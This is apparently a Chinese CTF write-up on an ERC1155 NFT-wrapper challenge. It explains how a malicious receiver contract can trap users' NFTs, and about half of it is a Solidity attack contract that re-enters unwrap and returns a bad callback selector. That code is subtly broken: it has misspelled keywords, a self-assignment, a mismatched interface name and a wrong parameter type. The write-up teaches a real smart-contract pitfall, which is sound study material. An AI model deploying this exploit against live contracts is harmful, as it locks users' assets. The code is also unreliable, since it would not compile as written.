CTF-game-asserts

题目源码:点击

题目说明:GG labs 刚刚发布了他们的 nOtApOnZi 游戏,该游戏允许将多个 WLed NFT 用作游戏内物品。为了集成多个 ERC721 代币,他们有一个包装合约 (ERC1155) 来包装 NFT,允许它们在游戏中使用。用户也可以在使用完 NFT 后解包它们。您的任务是将用户的 NFT 困在包装合约中并使他们无法挽回,从而使用户感到悲伤

这个一实现了游戏里的资产转化,首先AssetHolder合约中,就是资产的说明,具体实现有点多,这里就不深究了,AssetWrapper合约就是我们重点要说的了,他是一个包装合约,因为这个游戏使用的ERC1155代币规则,所以在进行包装的时候,要对用户进行返回代币是,就会触发一个隐藏的接受函数,

function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external override returns (bytes4) { }

bytes4返回值是固定的,如果就是在返回值这里动手脚了,那么包装就会不成功,资产就会被困住。

这个题要先去了解ERC1155代币标准,我自己对于这个ERC-1155的了解点击,漏洞已在这里面说明,就是一个必须注意的地方,我觉得也是ERC1155的一个弊端吧

攻击代码如下:

//SPDX-Linsence-Identifier: MIT

pragma solidity^ 0.8.17;

import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol";

interface AssetWrapper {
function wrap(uint256 nftId,address assetOwner,address assetAddress) external;
function unwrap (address assetOwner,address assetAddress) external ;
}
contract Hack is ERC1155Receiver{
IAssetWrapper wrapper;
address attracker;
address nftAddress;

constructor(address _wrapper,address _attracker){
wrapper = IAssetWrapper(_wrapper);
attracker = attracker;
}

function pwn(uint256 nftId,address assetAddress) exteranl{
nftAddress = assetAddress;
wrapper.wrap(nftId,address(this),assetAddress);

}

function onERC1155Received(address operator,address from,address id,uint256 value,bytes calldata)
exteranl returns(bytes4){
require(msg.sender == address(wrapper), "invalid callback");

wrapper.unwrap(address(this), nftAddress); // change ownership to this contract

return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
}
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external override returns (bytes4) {
return bytes4(0); // 返回了bytes(0),与本来标准不符合。
}

}

即可,个人认为这道题的考察点就是对ERC1155代币规则要熟悉。